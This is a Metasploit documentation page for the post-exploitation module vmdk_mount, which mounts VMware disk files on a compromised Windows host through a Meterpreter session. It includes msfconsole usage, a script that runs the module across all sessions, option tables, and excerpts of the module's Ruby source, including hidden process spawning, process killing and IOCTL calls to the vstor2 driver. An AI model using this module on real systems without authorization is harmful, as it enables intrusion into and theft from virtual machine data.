Windows Manage VMDK Mount Drive - Metasploit


This page contains detailed information about how to use the post/windows/manage/vmdk_mount metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage VMDK Mount Drive
Module: post/windows/manage/vmdk_mount
Source code: modules/post/windows/manage/vmdk_mount.rb
Disclosure date: -
Last modification time: 2021-10-29 12:45:26 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots or clones are linked from the file.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/vmdk_mount

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/vmdk_mount
msf post(vmdk_mount) > show options
    ... show and set options ...
msf post(vmdk_mount) > set SESSION session-id
msf post(vmdk_mount) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/vmdk_mount")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • VMDK_PATH: Full path to the .vmdk file

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/vmdk_mount post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/vmdk_mount

msf6 post(windows/manage/vmdk_mount) > show info

       Name: Windows Manage VMDK Mount Drive
     Module: post/windows/manage/vmdk_mount
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Borja Merino <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEL_LCK    false            yes       Delete .vmdk lock file
  DRIVE      Z                yes       Mount point (drive letter)
  READ_MODE  true             yes       Open file in read-only mode
  SESSION                     yes       The session to run this module on.
  VMDK_PATH                   yes       Full path to the .vmdk file

Description:
  This module mounts a vmdk file (Virtual Machine Disk) on a drive 
  provided by the user by taking advantage of the vstor2 device driver 
  (VMware). First, it executes the binary vixDiskMountServer.exe to 
  access the device and then it sends certain control code via 
  DeviceIoControl to mount it. Use the write mode with extreme care. 
  You should only open a disk file in writable mode if you know for 
  sure that no snapshots or clones are linked from the file.

References:
  http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html

Module Options


This is a complete list of options available in the windows/manage/vmdk_mount post exploitation module:

msf6 post(windows/manage/vmdk_mount) > show options

Module options (post/windows/manage/vmdk_mount):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEL_LCK    false            yes       Delete .vmdk lock file
   DRIVE      Z                yes       Mount point (drive letter)
   READ_MODE  true             yes       Open file in read-only mode
   SESSION                     yes       The session to run this module on.
   VMDK_PATH                   yes       Full path to the .vmdk file

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/vmdk_mount post exploitation module:

msf6 post(windows/manage/vmdk_mount) > show advanced

Module advanced options (post/windows/manage/vmdk_mount):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/vmdk_mount module can do:

msf6 post(windows/manage/vmdk_mount) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/vmdk_mount post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/vmdk_mount) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Wrong drive letter. Choose another one


Here is a relevant code snippet related to the "Wrong drive letter. Choose another one" error message:

41:	
42:	  def run
43:	    vol = datastore['DRIVE'][0].upcase
44:	    vmdk = datastore['VMDK_PATH']
45:	    if vol.count("EFGHIJKLMNOPQRSTUVWXYZ") == 0
46:	      print_error("Wrong drive letter. Choose another one")
47:	      return
48:	    end
49:	
50:	    drives = get_drives
51:	    if drives.include? vol

The following mount points already exists: <DRIVES>. Choose another one


Here is a relevant code snippet related to the "The following mount points already exists: <DRIVES>. Choose another one" error message:

47:	      return
48:	    end
49:	
50:	    drives = get_drives
51:	    if drives.include? vol
52:	      print_error("The following mount points already exists: #{drives}. Choose another one")
53:	      return
54:	    end
55:	
56:	    # Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
57:	    begin

File <VMDK> not found


Here is a relevant code snippet related to the "File <VMDK> not found" error message:

55:	
56:	    # Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/8202
57:	    begin
58:	      client.fs.file.stat(vmdk)
59:	    rescue
60:	      print_error("File #{vmdk} not found")
61:	      return
62:	    end
63:	
64:	    vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe", "path")
65:	

VMware installation path not found.


Here is a relevant code snippet related to the "VMware installation path not found." error message:

62:	    end
63:	
64:	    vmware_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe", "path")
65:	
66:	    if vmware_path.nil?
67:	      print_error("VMware installation path not found.")
68:	      return
69:	    end
70:	
71:	    print_status("VMware path: \"#{vmware_path}\"")
72:	

The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file


Here is a relevant code snippet related to the "The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file" error message:

86:	      print_good("The drive #{vol}: seems to be ready")
87:	      if datastore['DEL_LCK']
88:	        delete_lck(vmdk)
89:	      end
90:	    else
91:	      print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")
92:	      # Some snapshots could give some problems when are mount in write mode
93:	      if !datastore['READ_MODE']
94:	        print_status("Try to mount the drive in read only mode")
95:	      end
96:	    end

It was not found a lck directory


Here is a relevant code snippet related to the "It was not found a lck directory" error message:

101:	    lck_dir = vmdk << ".lck"
102:	    begin
103:	      files = client.fs.dir.entries(lck_dir)
104:	      vprint_status("Directory lock: #{lck_dir}")
105:	    rescue Rex::Post::Meterpreter::RequestError
106:	      print_status("It was not found a lck directory")
107:	      return
108:	    end
109:	
110:	    files.shift(2)
111:	    files.each do |f|

Unable to remove file: <E.MESSAGE>


Here is a relevant code snippet related to the "Unable to remove file: <E.MESSAGE>" error message:

118:	      if content.include? "vixDiskMountServer"
119:	        begin
120:	          client.fs.file.rm(f_path)
121:	          print_status("Lock file #{f} deleted")
122:	        rescue ::Exception => e
123:	          print_error("Unable to remove file: #{e.message}")
124:	        end
125:	      end
126:	    end
127:	  end
128:	

No vstor2 key found on <REG_SERVICES>


Here is a relevant code snippet related to the "No vstor2 key found on <REG_SERVICES>" error message:

130:	  def find_vstor2_device
131:	    reg_services = "HKLM\\SYSTEM\\ControlSet001\\Services\\"
132:	    devices = registry_enumkeys(reg_services)
133:	    vstor2_key = devices.grep(/^vstor2/)
134:	    if !vstor2_key.any?
135:	      print_error("No vstor2 key found on #{reg_services}")
136:	      return
137:	    end
138:	
139:	    device_path = registry_getvaldata(reg_services << vstor2_key[0], "ImagePath")
140:	

No image path found for the vstor2 device


Here is a relevant code snippet related to the "No image path found for the vstor2 device" error message:

137:	    end
138:	
139:	    device_path = registry_getvaldata(reg_services << vstor2_key[0], "ImagePath")
140:	
141:	    if device_path.nil?
142:	      print_error("No image path found for the vstor2 device")
143:	      return
144:	    end
145:	
146:	    device_name = device_path.split('\\')[-1].split('.')[0]
147:	    print_status("Device driver name found: \\\\.\\#{device_name}")

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

154:	    i = "ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(vol)
155:	    drive_dword = [(0x00000001 << i)].pack('V')
156:	    vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
157:	
158:	    ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", 0, nil)
159:	    if ret['GetLastError'] != 0
160:	      print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
161:	      return false
162:	    end
163:	    # fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
164:	    fd1 = "\x24\x01\x00\x00"

Unable to open a handle to the <VSTORE> device driver. GetLastError: <GETLASTERROR>


Here is a relevant code snippet related to the "Unable to open a handle to the <VSTORE> device driver. GetLastError: <GETLASTERROR>" error message:

155:	    drive_dword = [(0x00000001 << i)].pack('V')
156:	    vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")
157:	
158:	    ret = session.railgun.kernel32.CreateFileW(vstore, "GENERIC_WRITE|GENERIC_READ", "FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", 0, nil)
159:	    if ret['GetLastError'] != 0
160:	      print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")
161:	      return false
162:	    end
163:	    # fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer
164:	    fd1 = "\x24\x01\x00\x00"
165:	    fd2 = "\x00\x00\x00\x00"

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

179:	
180:	    error_code = ""
181:	    tries = 0
182:	    loop do
183:	      ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)
184:	      error_code = ioctl['GetLastError']
185:	      vprint_status("GetlastError DeviceIoControl = #{error_code}")
186:	      tries += 1
187:	      break if tries == 3 || (error_code != 31 && error_code != 6)
188:	    end
189:	

GetlastError DeviceIoControl = <ERROR_CODE>


Here is a relevant code snippet related to the "GetlastError DeviceIoControl = <ERROR_CODE>" error message:

180:	    error_code = ""
181:	    tries = 0
182:	    loop do
183:	      ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)
184:	      error_code = ioctl['GetLastError']
185:	      vprint_status("GetlastError DeviceIoControl = #{error_code}")
186:	      tries += 1
187:	      break if tries == 3 || (error_code != 31 && error_code != 6)
188:	    end
189:	
190:	    if error_code == 997 || error_code == 0

The vmdk file could't be mounted


Here is a relevant code snippet related to the "The vmdk file could't be mounted" error message:

189:	
190:	    if error_code == 997 || error_code == 0
191:	      client.railgun.kernel32.CloseHandle(ret['return'])
192:	      return true
193:	    else
194:	      print_error("The vmdk file could't be mounted")
195:	      return false
196:	    end
197:	  end
198:	
199:	  # Run the hidden vixDiskMountServer process needed to interact with the driver

<MOUNT_BIN> not found in "<PATH>"


Here is a relevant code snippet related to the "<MOUNT_BIN> not found in "<PATH>"" error message:

198:	
199:	  # Run the hidden vixDiskMountServer process needed to interact with the driver
200:	  def open_mountserver(path)
201:	    mount_bin = "vixDiskMountServer.exe"
202:	    if !file?(path << mount_bin)
203:	      print_error("#{mount_bin} not found in \"#{path}\"")
204:	      return false
205:	    end
206:	
207:	    # If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be
208:	    # possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running

An instance of <MOUNT_BIN> is already running by another process


Here is a relevant code snippet related to the "An instance of <MOUNT_BIN> is already running by another process" error message:

213:	    # For this reason, to avoid this case, the process is relaunched automatically.
214:	    p = session.sys.process.each_process.find { |i| i["name"] == mount_bin }
215:	
216:	    if p
217:	      if p["ppid"] != session.sys.process.getpid
218:	        print_error("An instance of #{mount_bin} is already running by another process")
219:	        return false
220:	      else
221:	        begin
222:	          print_status("Killing the #{mount_bin} instance")
223:	          session.sys.process.kill(p["pid"])

The <MOUNT_BIN> instance depending on Meterpreter could not be killed


Here is a relevant code snippet related to the "The <MOUNT_BIN> instance depending on Meterpreter could not be killed" error message:

221:	        begin
222:	          print_status("Killing the #{mount_bin} instance")
223:	          session.sys.process.kill(p["pid"])
224:	          sleep(1)
225:	        rescue ::Rex::Post::Meterpreter::RequestError => error
226:	          print_error("The #{mount_bin} instance depending on Meterpreter could not be killed")
227:	          return false
228:	        end
229:	      end
230:	    end
231:	

Binary <MOUNT_BIN> could could not be spawned : <ERROR.TO_S>


Here is a relevant code snippet related to the "Binary <MOUNT_BIN> could could not be spawned : <ERROR.TO_S>" error message:

232:	    begin
233:	      proc = session.sys.process.execute(path, nil, { 'Hidden' => true })
234:	      sleep(1)
235:	      print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")
236:	    rescue ::Rex::Post::Meterpreter::RequestError => error
237:	      print_error("Binary #{mount_bin} could could not be spawned : #{error.to_s}")
238:	      return false
239:	    end
240:	
241:	    true
242:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


Borja Merino <bmerinofe[at]gmail.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.